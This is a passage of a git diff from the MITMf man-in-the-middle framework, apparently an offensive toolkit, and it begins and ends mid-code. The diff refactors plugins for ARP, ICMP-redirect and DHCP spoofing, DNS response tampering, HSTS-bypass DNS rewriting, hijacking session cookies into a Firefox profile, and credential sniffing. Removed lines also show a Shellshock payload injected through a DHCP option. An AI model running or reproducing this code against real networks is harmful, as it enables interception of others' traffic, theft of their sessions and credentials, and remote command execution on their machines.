logging.info("%s Resolving %s for HSTS bypass (DNS)" % (pkt[IP].src, pkt[DNSQR].qname[:-1]))
|
||||||
|
payload.set_payload(str(mpkt))
|
||||||
|
payload.accept()
|
||||||
|
|
||||||
|
except Exception, e:
|
||||||
|
print "Exception occurred while modifying DNS: " + str(e)
|
||||||
|
|
||||||
|
def resolve_domain(self, domain):
|
||||||
|
try:
|
||||||
|
logging.debug("Resolving -> %s" % domain)
|
||||||
|
answer = dns.resolver.query(domain, 'A')
|
||||||
|
real_ips = []
|
||||||
|
for rdata in answer:
|
||||||
|
real_ips.append(rdata.address)
|
||||||
|
|
||||||
|
if len(real_ips) > 0:
|
||||||
|
return real_ips
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
logging.info("Error resolving " + domain)
|
||||||
|
|
|
@ -1,7 +1,27 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
#Almost all of the Firefox related code was stolen from Firelamb https://github.com/sensepost/mana/tree/master/firelamb
|
#Almost all of the Firefox related code was stolen from Firelamb https://github.com/sensepost/mana/tree/master/firelamb
|
||||||
|
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from libs.publicsuffix import PublicSuffixList
|
from core.publicsuffix.publicsuffix import PublicSuffixList
|
||||||
from urlparse import urlparse
|
from urlparse import urlparse
|
||||||
import threading
|
import threading
|
||||||
import os
|
import os
|
||||||
|
@ -56,8 +76,6 @@ class SessionHijacker(Plugin):
|
||||||
|
|
||||||
if 'cookie' in headers:
|
if 'cookie' in headers:
|
||||||
|
|
||||||
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
|
|
||||||
|
|
||||||
if self.firefox:
|
if self.firefox:
|
||||||
url = "http://" + headers['host'] + request.getPathFromUri()
|
url = "http://" + headers['host'] + request.getPathFromUri()
|
||||||
for cookie in headers['cookie'].split(';'):
|
for cookie in headers['cookie'].split(';'):
|
||||||
|
@ -66,8 +84,20 @@ class SessionHijacker(Plugin):
|
||||||
cvalue = str(cookie)[eq+1:].strip()
|
cvalue = str(cookie)[eq+1:].strip()
|
||||||
self.firefoxdb(headers['host'], cname, cvalue, url, client_ip)
|
self.firefoxdb(headers['host'], cname, cvalue, url, client_ip)
|
||||||
|
|
||||||
|
logging.info("%s << Inserted cookie into firefox db" % client_ip)
|
||||||
|
|
||||||
if self.mallory:
|
if self.mallory:
|
||||||
|
if len(self.sessions) > 0:
|
||||||
|
temp = []
|
||||||
|
for session in self.sessions:
|
||||||
|
temp.append(session[0])
|
||||||
|
if headers['host'] not in temp:
|
||||||
self.sessions.append((headers['host'], headers['cookie']))
|
self.sessions.append((headers['host'], headers['cookie']))
|
||||||
|
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
|
||||||
|
logging.info("%s Sent cookie to browser extension" % client_ip)
|
||||||
|
else:
|
||||||
|
self.sessions.append((headers['host'], headers['cookie']))
|
||||||
|
logging.info("%s Got client cookie: [%s] %s" % (client_ip, headers['host'], headers['cookie']))
|
||||||
logging.info("%s Sent cookie to browser extension" % client_ip)
|
logging.info("%s Sent cookie to browser extension" % client_ip)
|
||||||
|
|
||||||
#def handleHeader(self, request, key, value): # Server => Client
|
#def handleHeader(self, request, key, value): # Server => Client
|
||||||
|
@ -146,7 +176,6 @@ class SessionHijacker(Plugin):
|
||||||
expire_date = 2000000000 #Year2033
|
expire_date = 2000000000 #Year2033
|
||||||
now = int(time.time()) - 600
|
now = int(time.time()) - 600
|
||||||
self.sql_conns[ip].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,cookie_name,cookie_value,address,'/',expire_date,now,now,0,0))
|
self.sql_conns[ip].execute('INSERT OR IGNORE INTO moz_cookies (baseDomain, name, value, host, path, expiry, lastAccessed, creationTime, isSecure, isHttpOnly) VALUES (?,?,?,?,?,?,?,?,?,?)', (basedomain,cookie_name,cookie_value,address,'/',expire_date,now,now,0,0))
|
||||||
logging.info("%s << Inserted cookie into firefox db" % ip)
|
|
||||||
|
|
||||||
def add_options(self, options):
|
def add_options(self, options):
|
||||||
options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies')
|
options.add_argument('--firefox', dest='firefox', action='store_true', default=False, help='Create a firefox profile with captured cookies')
|
||||||
|
|
|
@ -1,3 +1,23 @@
|
||||||
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
#This is a MITMf port of net-creds https://github.com/DanMcInerney/net-creds
|
#This is a MITMf port of net-creds https://github.com/DanMcInerney/net-creds
|
||||||
|
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
|
|
448
plugins/Spoof.py
448
plugins/Spoof.py
|
@ -1,25 +1,40 @@
|
||||||
import dns.resolver
|
#!/usr/bin/env python2.7
|
||||||
|
|
||||||
|
# Copyright (c) 2014-2016 Marcello Salvati
|
||||||
|
#
|
||||||
|
# This program is free software; you can redistribute it and/or
|
||||||
|
# modify it under the terms of the GNU General Public License as
|
||||||
|
# published by the Free Software Foundation; either version 3 of the
|
||||||
|
# License, or (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful, but
|
||||||
|
# WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
|
# General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program; if not, write to the Free Software
|
||||||
|
# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307
|
||||||
|
# USA
|
||||||
|
#
|
||||||
|
|
||||||
import logging
|
import logging
|
||||||
import os
|
|
||||||
import sys
|
import sys
|
||||||
import threading
|
|
||||||
import binascii
|
from core.utils import SystemConfig
|
||||||
import random
|
from core.sslstrip.DnsCache import DnsCache
|
||||||
|
from core.wrappers.protocols import _ARP, _DHCP, _ICMP
|
||||||
|
from core.wrappers.nfqueue import Nfqueue
|
||||||
|
from plugins.plugin import Plugin
|
||||||
|
|
||||||
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
logging.getLogger("scapy.runtime").setLevel(logging.ERROR) #Gets rid of IPV6 Error when importing scapy
|
||||||
from scapy.all import *
|
from scapy.all import *
|
||||||
from netfilterqueue import NetfilterQueue
|
|
||||||
from libs.sslstrip.DnsCache import DnsCache
|
|
||||||
from plugins.plugin import Plugin
|
|
||||||
from time import sleep
|
|
||||||
from base64 import b64decode
|
|
||||||
from urllib import unquote
|
|
||||||
|
|
||||||
class Spoof(Plugin):
|
class Spoof(Plugin):
|
||||||
name = "Spoof"
|
name = "Spoof"
|
||||||
optname = "spoof"
|
optname = "spoof"
|
||||||
desc = "Redirect/Modify traffic using ICMP, ARP or DHCP"
|
desc = "Redirect/Modify traffic using ICMP, ARP or DHCP"
|
||||||
version = "0.4"
|
version = "0.5"
|
||||||
has_opts = True
|
has_opts = True
|
||||||
req_root = True
|
req_root = True
|
||||||
|
|
||||||
|
@ -28,63 +43,49 @@ class Spoof(Plugin):
|
||||||
self.options = options
|
self.options = options
|
||||||
self.dnscfg = options.configfile['Spoof']['DNS']
|
self.dnscfg = options.configfile['Spoof']['DNS']
|
||||||
self.dhcpcfg = options.configfile['Spoof']['DHCP']
|
self.dhcpcfg = options.configfile['Spoof']['DHCP']
|
||||||
self.hstscfg = options.configfile['SSLstrip+']
|
|
||||||
self.target = options.target
|
self.target = options.target
|
||||||
self.manualiptables = options.manualiptables
|
self.manualiptables = options.manualiptables
|
||||||
|
self.protocolInstances = []
|
||||||
|
|
||||||
#Makes scapy more verbose
|
#Makes scapy more verbose
|
||||||
debug = False
|
debug = False
|
||||||
if self.options.log_level is 'debug':
|
if options.log_level is 'debug':
|
||||||
debug = True
|
debug = True
|
||||||
|
|
||||||
self.sysconfig = SystemConfig(options.listen)
|
|
||||||
|
|
||||||
if options.arp:
|
if options.arp:
|
||||||
|
|
||||||
if not options.gateway:
|
if not options.gateway:
|
||||||
sys.exit("[-] --arp argument requires --gateway")
|
sys.exit("[-] --arp argument requires --gateway")
|
||||||
|
|
||||||
self.sysconfig.set_forwarding(1)
|
arp = _ARP(options.gateway, options.interface, options.mac_address)
|
||||||
|
arp.target = options.target
|
||||||
|
arp.arpmode = options.arpmode
|
||||||
|
arp.debug = debug
|
||||||
|
|
||||||
if not options.manualiptables:
|
self.protocolInstances.append(arp)
|
||||||
self.sysconfig.iptables_flush()
|
|
||||||
self.sysconfig.iptables_http()
|
|
||||||
|
|
||||||
self.arp = _ARP(options.gateway, options.interface, options.mac_address)
|
|
||||||
self.arp.target = options.target
|
|
||||||
self.arp.arpmode = options.arpmode
|
|
||||||
self.arp.debug = debug
|
|
||||||
self.arp.start()
|
|
||||||
|
|
||||||
elif options.icmp:
|
elif options.icmp:
|
||||||
|
|
||||||
if not options.gateway:
|
if not options.gateway:
|
||||||
sys.exit("[-] --icmp argument requires --gateway")
|
sys.exit("[-] --icmp argument requires --gateway")
|
||||||
|
|
||||||
if not options.target:
|
if not options.target:
|
||||||
sys.exit("[-] --icmp argument requires --target")
|
sys.exit("[-] --icmp argument requires --target")
|
||||||
|
|
||||||
self.sysconfig.set_forwarding(1)
|
icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address)
|
||||||
|
icmp.debug = debug
|
||||||
|
|
||||||
if not options.manualiptables:
|
self.protocolInstances.append(icmp)
|
||||||
self.sysconfig.iptables_flush()
|
|
||||||
self.sysconfig.iptables_http()
|
|
||||||
|
|
||||||
self.icmp = _ICMP(options.interface, options.target, options.gateway, options.ip_address)
|
|
||||||
self.icmp.debug = debug
|
|
||||||
self.icmp.start()
|
|
||||||
|
|
||||||
elif options.dhcp:
|
elif options.dhcp:
|
||||||
|
|
||||||
if options.target:
|
if options.target:
|
||||||
sys.exit("[-] --target argument invalid when DCHP spoofing")
|
sys.exit("[-] --target argument invalid when DCHP spoofing")
|
||||||
|
|
||||||
self.sysconfig.set_forwarding(1)
|
dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
|
||||||
|
dhcp.shellshock = options.shellshock
|
||||||
if not options.manualiptables:
|
dhcp.debug = debug
|
||||||
self.sysconfig.iptables_flush()
|
self.protocolInstances.append(dhcp)
|
||||||
self.sysconfig.iptables_http()
|
|
||||||
|
|
||||||
self.dhcp = _DHCP(options.interface, self.dhcpcfg, options.ip_address, options.mac_address)
|
|
||||||
self.dhcp.shellshock = options.shellshock
|
|
||||||
self.dhcp.debug = debug
|
|
||||||
self.dhcp.start()
|
|
||||||
|
|
||||||
else:
|
else:
|
||||||
sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")
|
sys.exit("[-] Spoof plugin requires --arp, --icmp or --dhcp")
|
||||||
|
@ -92,27 +93,26 @@ class Spoof(Plugin):
|
||||||
if options.dns:
|
if options.dns:
|
||||||
|
|
||||||
if not options.manualiptables:
|
if not options.manualiptables:
|
||||||
self.sysconfig.iptables_dns(0)
|
SystemConfig.iptables.DNS(0)
|
||||||
|
|
||||||
dnscache = DnsCache.getInstance()
|
dnscache = DnsCache.getInstance()
|
||||||
|
|
||||||
for domain, ip in self.dnscfg.items():
|
for domain, ip in self.dnscfg.iteritems():
|
||||||
dnscache.cacheResolution(domain, ip)
|
dnscache.cacheResolution(domain, ip)
|
||||||
|
|
||||||
self.dns = _DNS(0)
|
dns = DNStamper(0)
|
||||||
self.dns.dnscfg = self.dnscfg
|
dns.dnscfg = self.dnscfg
|
||||||
self.dns.dns = True
|
|
||||||
self.dns.start()
|
|
||||||
|
|
||||||
if options.hsts:
|
self.protocolInstances.append(dns)
|
||||||
|
|
||||||
|
|
||||||
|
SystemConfig.setIpForwarding(1)
|
||||||
|
|
||||||
if not options.manualiptables:
|
if not options.manualiptables:
|
||||||
self.sysconfig.iptables_dns(1)
|
SystemConfig.iptables.HTTP(options.listen)
|
||||||
|
|
||||||
self.dns_hsts = _DNS(1)
|
for protocol in self.protocolInstances:
|
||||||
self.dns_hsts.hstscfg = self.hstscfg
|
protocol.start()
|
||||||
self.dns_hsts.hsts = True
|
|
||||||
self.dns_hsts.start()
|
|
||||||
|
|
||||||
def add_options(self, options):
|
def add_options(self, options):
|
||||||
group = options.add_mutually_exclusive_group(required=False)
|
group = options.add_mutually_exclusive_group(required=False)
|
||||||
|
@ -126,300 +126,23 @@ class Spoof(Plugin):
|
||||||
options.add_argument('--arpmode',type=str, dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
|
options.add_argument('--arpmode',type=str, dest='arpmode', default='req', choices=["req", "rep"], help=' ARP Spoofing mode: requests (req) or replies (rep) [default: req]')
|
||||||
#options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
|
#options.add_argument('--summary', action='store_true', dest='summary', default=False, help='Show packet summary and ask for confirmation before poisoning')
|
||||||
|
|
||||||
#added by alexander.georgiev@daloo.de
|
|
||||||
options.add_argument('--manual-iptables', dest='manualiptables', action='store_true', default=False, help='Do not setup iptables or flush them automatically')
|
|
||||||
|
|
||||||
def finish(self):
|
def finish(self):
|
||||||
if self.options.arp:
|
for protocol in self.protocolInstances:
|
||||||
self.arp.stop()
|
protocol.stop()
|
||||||
sleep(3)
|
|
||||||
|
|
||||||
self.arp.arp_inter = 1
|
|
||||||
if self.target:
|
|
||||||
print "\n[*] Re-ARPing target"
|
|
||||||
self.arp.reARP_target(5)
|
|
||||||
|
|
||||||
print "\n[*] Re-ARPing network"
|
|
||||||
self.arp.reARP_net(5)
|
|
||||||
|
|
||||||
elif self.options.icmp:
|
|
||||||
self.icmp.stop()
|
|
||||||
sleep(3)
|
|
||||||
|
|
||||||
if self.options.dns:
|
|
||||||
self.dns.stop()
|
|
||||||
|
|
||||||
if self.options.hsts:
|
|
||||||
self.dns_hsts.stop()
|
|
||||||
|
|
||||||
if not self.manualiptables:
|
if not self.manualiptables:
|
||||||
self.sysconfig.iptables_flush()
|
SystemConfig.iptables.Flush()
|
||||||
|
|
||||||
self.sysconfig.set_forwarding(0)
|
SystemConfig.setIpForwarding(0)
|
||||||
|
|
||||||
class SystemConfig():
|
|
||||||
|
|
||||||
def __init__(self, http_redir_port):
|
class DNStamper(Nfqueue):
|
||||||
|
|
||||||
self.http_redir_port = http_redir_port
|
dnscfg = None
|
||||||
|
|
||||||
def set_forwarding(self, value):
|
|
||||||
with open('/proc/sys/net/ipv4/ip_forward', 'w') as file:
|
|
||||||
file.write(str(value))
|
|
||||||
file.close()
|
|
||||||
|
|
||||||
def iptables_flush(self):
|
|
||||||
os.system('iptables -F && iptables -X && iptables -t nat -F && iptables -t nat -X')
|
|
||||||
|
|
||||||
def iptables_http(self):
|
|
||||||
os.system('iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port %s' % self.http_redir_port)
|
|
||||||
|
|
||||||
def iptables_dns(self, queue_number):
|
|
||||||
os.system('iptables -t nat -A PREROUTING -p udp --dport 53 -j NFQUEUE --queue-num %s' % queue_number)
|
|
||||||
|
|
||||||
class _DHCP():
|
|
||||||
|
|
||||||
def __init__(self, interface, dhcpcfg, ip, mac):
|
|
||||||
self.interface = interface
|
|
||||||
self.ip_address = ip
|
|
||||||
self.mac_address = mac
|
|
||||||
self.shellshock = None
|
|
||||||
self.debug = False
|
|
||||||
self.dhcpcfg = dhcpcfg
|
|
||||||
self.rand_number = []
|
|
||||||
self.dhcp_dic = {}
|
|
||||||
|
|
||||||
def start(self):
|
|
||||||
t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,))
|
|
||||||
t.setDaemon(True)
|
|
||||||
t.start()
|
|
||||||
|
|
||||||
def dhcp_sniff(self, interface):
|
|
||||||
sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface)
|
|
||||||
|
|
||||||
def dhcp_rand_ip(self):
|
|
||||||
pool = self.dhcpcfg['ip_pool'].split('-')
|
|
||||||
trunc_ip = pool[0].split('.'); del(trunc_ip[3])
|
|
||||||
max_range = int(pool[1])
|
|
||||||
min_range = int(pool[0].split('.')[3])
|
|
||||||
number_range = range(min_range, max_range)
|
|
||||||
for n in number_range:
|
|
||||||
if n in self.rand_number:
|
|
||||||
number_range.remove(n)
|
|
||||||
rand_number = random.choice(number_range)
|
|
||||||
self.rand_number.append(rand_number)
|
|
||||||
rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number)
|
|
||||||
|
|
||||||
return rand_ip
|
|
||||||
|
|
||||||
def dhcp_callback(self, resp):
|
|
||||||
if resp.haslayer(DHCP):
|
|
||||||
xid = resp[BOOTP].xid
|
|
||||||
mac_addr = resp[Ether].src
|
|
||||||
raw_mac = binascii.unhexlify(mac_addr.replace(":", ""))
|
|
||||||
if xid in self.dhcp_dic.keys():
|
|
||||||
client_ip = self.dhcp_dic[xid]
|
|
||||||
else:
|
|
||||||
client_ip = self.dhcp_rand_ip()
|
|
||||||
self.dhcp_dic[xid] = client_ip
|
|
||||||
|
|
||||||
if resp[DHCP].options[0][1] is 1:
|
|
||||||
logging.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid))
|
|
||||||
logging.info("Sending DHCP OFFER")
|
|
||||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
|
||||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
|
||||||
UDP(sport=67, dport=68) /
|
|
||||||
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
|
|
||||||
DHCP(options=[("message-type", "offer"),
|
|
||||||
('server_id', self.ip_address),
|
|
||||||
('subnet_mask', self.dhcpcfg['subnet']),
|
|
||||||
('router', self.ip_address),
|
|
||||||
('lease_time', 172800),
|
|
||||||
('renewal_time', 86400),
|
|
||||||
('rebinding_time', 138240),
|
|
||||||
"end"]))
|
|
||||||
|
|
||||||
|
def callback(self, payload):
|
||||||
try:
|
try:
|
||||||
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
|
logging.debug(payload)
|
||||||
except KeyError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
sendp(packet, iface=self.interface, verbose=self.debug)
|
|
||||||
|
|
||||||
if resp[DHCP].options[0][1] is 3:
|
|
||||||
logging.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid))
|
|
||||||
packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') /
|
|
||||||
IP(src=self.ip_address, dst='255.255.255.255') /
|
|
||||||
UDP(sport=67, dport=68) /
|
|
||||||
BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) /
|
|
||||||
DHCP(options=[("message-type", "ack"),
|
|
||||||
('server_id', self.ip_address),
|
|
||||||
('subnet_mask', self.dhcpcfg['subnet']),
|
|
||||||
('router', self.ip_address),
|
|
||||||
('lease_time', 172800),
|
|
||||||
('renewal_time', 86400),
|
|
||||||
('rebinding_time', 138240)]))
|
|
||||||
|
|
||||||
try:
|
|
||||||
packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server'])))
|
|
||||||
except KeyError:
|
|
||||||
pass
|
|
||||||
|
|
||||||
if self.shellshock:
|
|
||||||
logging.info("Sending DHCP ACK with shellshock payload")
|
|
||||||
packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock)))
|
|
||||||
packet[DHCP].options.append("end")
|
|
||||||
else:
|
|
||||||
logging.info("Sending DHCP ACK")
|
|
||||||
packet[DHCP].options.append("end")
|
|
||||||
|
|
||||||
sendp(packet, iface=self.interface, verbose=self.debug)
|
|
||||||
|
|
||||||
class _ICMP():
|
|
||||||
|
|
||||||
def __init__(self, interface, target, gateway, ip_address):
|
|
||||||
|
|
||||||
self.target = target
|
|
||||||
self.gateway = gateway
|
|
||||||
self.interface = interface
|
|
||||||
self.ip_address = ip_address
|
|
||||||
self.debug = False
|
|
||||||
self.send = True
|
|
||||||
self.icmp_interval = 2
|
|
||||||
|
|
||||||
def build_icmp(self):
|
|
||||||
pkt = IP(src=self.gateway, dst=self.target)/ICMP(type=5, code=1, gw=self.ip_address) /\
|
|
||||||
IP(src=self.target, dst=self.gateway)/UDP()
|
|
||||||
|
|
||||||
return pkt
|
|
||||||
|
|
||||||
def start(self):
|
|
||||||
pkt = self.build_icmp()
|
|
||||||
|
|
||||||
t = threading.Thread(name='icmp_spoof', target=self.send_icmps, args=(pkt, self.interface, self.debug,))
|
|
||||||
t.setDaemon(True)
|
|
||||||
t.start()
|
|
||||||
|
|
||||||
def stop(self):
|
|
||||||
self.send = False
|
|
||||||
|
|
||||||
def send_icmps(self, pkt, interface, debug):
|
|
||||||
while self.send:
|
|
||||||
sendp(pkt, inter=self.icmp_interval, iface=interface, verbose=debug)
|
|
||||||
|
|
||||||
class _ARP():
|
|
||||||
|
|
||||||
def __init__(self, gateway, interface, mac):
|
|
||||||
|
|
||||||
self.gateway = gateway
|
|
||||||
self.gatewaymac = getmacbyip(gateway)
|
|
||||||
self.mac = mac
|
|
||||||
self.target = None
|
|
||||||
self.targetmac = None
|
|
||||||
self.interface = interface
|
|
||||||
self.arpmode = 'req'
|
|
||||||
self.debug = False
|
|
||||||
self.send = True
|
|
||||||
self.arp_inter = 3
|
|
||||||
|
|
||||||
def start(self):
|
|
||||||
if self.gatewaymac is None:
|
|
||||||
sys.exit("[-] Error: Could not resolve gateway's MAC address")
|
|
||||||
|
|
||||||
if self.target:
|
|
||||||
self.targetmac = getmacbyip(self.target)
|
|
||||||
if self.targetmac is None:
|
|
||||||
sys.exit("[-] Error: Could not resolve target's MAC address")
|
|
||||||
|
|
||||||
if self.arpmode == 'req':
|
|
||||||
pkt = self.build_arp_req()
|
|
||||||
|
|
||||||
elif self.arpmode == 'rep':
|
|
||||||
pkt = self.build_arp_rep()
|
|
||||||
|
|
||||||
t = threading.Thread(name='arp_spoof', target=self.send_arps, args=(pkt, self.interface, self.debug,))
|
|
||||||
t.setDaemon(True)
|
|
||||||
t.start()
|
|
||||||
|
|
||||||
def send_arps(self, pkt, interface, debug):
|
|
||||||
while self.send:
|
|
||||||
sendp(pkt, inter=self.arp_inter, iface=interface, verbose=debug)
|
|
||||||
|
|
||||||
def stop(self):
|
|
||||||
self.send = False
|
|
||||||
|
|
||||||
def build_arp_req(self):
|
|
||||||
if self.target is None:
|
|
||||||
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, pdst=self.gateway)
|
|
||||||
elif self.target:
|
|
||||||
pkt = Ether(src=self.mac, dst=self.targetmac)/\
|
|
||||||
ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target)
|
|
||||||
|
|
||||||
return pkt
|
|
||||||
|
|
||||||
def build_arp_rep(self):
|
|
||||||
if self.target is None:
|
|
||||||
pkt = Ether(src=self.mac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mac, psrc=self.gateway, op=2)
|
|
||||||
elif self.target:
|
|
||||||
pkt = Ether(src=self.mac, dst=self.targetmac)/\
|
|
||||||
ARP(hwsrc=self.mac, psrc=self.gateway, hwdst=self.targetmac, pdst=self.target, op=2)
|
|
||||||
|
|
||||||
return pkt
|
|
||||||
|
|
||||||
def reARP_net(self, count):
|
|
||||||
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
|
|
||||||
ARP(psrc=self.gateway, hwsrc=self.gatewaymac, op=2)
|
|
||||||
|
|
||||||
sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
|
|
||||||
|
|
||||||
def reARP_target(self, count):
|
|
||||||
pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/\
|
|
||||||
ARP(psrc=self.target, hwsrc=self.targetmac, op=2)
|
|
||||||
|
|
||||||
sendp(pkt, inter=self.arp_inter, count=count, iface=self.interface)
|
|
||||||
|
|
||||||
class _DNS():
|
|
||||||
|
|
||||||
def __init__(self, queue_number):
|
|
||||||
self.hsts = False
|
|
||||||
self.dns = False
|
|
||||||
self.dnscfg = None
|
|
||||||
self.hstscfg = None
|
|
||||||
self.queue_number = queue_number
|
|
||||||
self.nfqueue = NetfilterQueue()
|
|
||||||
|
|
||||||
def start(self):
|
|
||||||
t = threading.Thread(name='dns_nfqueue', target=self.nfqueue_bind, args=())
|
|
||||||
t.setDaemon(True)
|
|
||||||
t.start()
|
|
||||||
|
|
||||||
def nfqueue_bind(self):
|
|
||||||
self.nfqueue.bind(self.queue_number, self.nfqueue_callback)
|
|
||||||
self.nfqueue.run()
|
|
||||||
|
|
||||||
def stop(self):
|
|
||||||
try:
|
|
||||||
self.nfqueue.unbind()
|
|
||||||
except:
|
|
||||||
pass
|
|
||||||
|
|
||||||
def resolve_domain(self, domain):
|
|
||||||
try:
|
|
||||||
logging.debug("Resolving -> %s" % domain)
|
|
||||||
answer = dns.resolver.query(domain, 'A')
|
|
||||||
real_ips = []
|
|
||||||
for rdata in answer:
|
|
||||||
real_ips.append(rdata.address)
|
|
||||||
|
|
||||||
if len(real_ips) > 0:
|
|
||||||
return real_ips
|
|
||||||
|
|
||||||
except Exception:
|
|
||||||
logging.info("Error resolving " + domain)
|
|
||||||
|
|
||||||
def nfqueue_callback(self, payload):
|
|
||||||
try:
|
|
||||||
#logging.debug(payload)
|
|
||||||
pkt = IP(payload.get_payload())
|
pkt = IP(payload.get_payload())
|
||||||
|
|
||||||
if not pkt.haslayer(DNSQR):
|
if not pkt.haslayer(DNSQR):
|
||||||
|
@ -427,58 +150,27 @@ class _DNS():
|
||||||
|
|
||||||
if pkt.haslayer(DNSQR):
|
if pkt.haslayer(DNSQR):
|
||||||
logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
|
logging.debug("Got DNS packet for %s %s" % (pkt[DNSQR].qname, pkt[DNSQR].qtype))
|
||||||
if self.dns:
|
for k, v in self.dnscfg.iteritems():
|
||||||
for k, v in self.dnscfg.items():
|
if k == pkt[DNSQR].qname[:-1]:
|
||||||
if k in pkt[DNSQR].qname:
|
|
||||||
self.modify_dns(payload, pkt, v)
|
self.modify_dns(payload, pkt, v)
|
||||||
return
|
return
|
||||||
|
|
||||||
payload.accept()
|
payload.accept()
|
||||||
|
|
||||||
elif self.hsts:
|
|
||||||
if (pkt[DNSQR].qtype is 28 or pkt[DNSQR].qtype is 1):
|
|
||||||
for k,v in self.hstscfg.items():
|
|
||||||
if v == pkt[DNSQR].qname[:-1]:
|
|
||||||
ip = self.resolve_domain(k)
|
|
||||||
if ip:
|
|
||||||
self.modify_dns(payload, pkt, ip)
|
|
||||||
return
|
|
||||||
|
|
||||||
if 'wwww' in pkt[DNSQR].qname:
|
|
||||||
ip = self.resolve_domain(pkt[DNSQR].qname[1:-1])
|
|
||||||
if ip:
|
|
||||||
self.modify_dns(payload, pkt, ip)
|
|
||||||
return
|
|
||||||
|
|
||||||
if 'web' in pkt[DNSQR].qname:
|
|
||||||
ip = self.resolve_domain(pkt[DNSQR].qname[3:-1])
|
|
||||||
if ip:
|
|
||||||
self.modify_dns(payload, pkt, ip)
|
|
||||||
return
|
|
||||||
|
|
||||||
payload.accept()
|
|
||||||
|
|
||||||
except Exception, e:
|
except Exception, e:
|
||||||
print "Exception occurred in nfqueue callback: " + str(e)
|
print "Exception occurred in nfqueue callback: " + str(e)
|
||||||
|
|
||||||
def modify_dns(self, payload, pkt, ip):
|
def modify_dns(self, payload, pkt, ip):
|
||||||
try:
|
try:
|
||||||
spoofed_pkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
|
|
||||||
|
mpkt = IP(dst=pkt[IP].src, src=pkt[IP].dst) /\
|
||||||
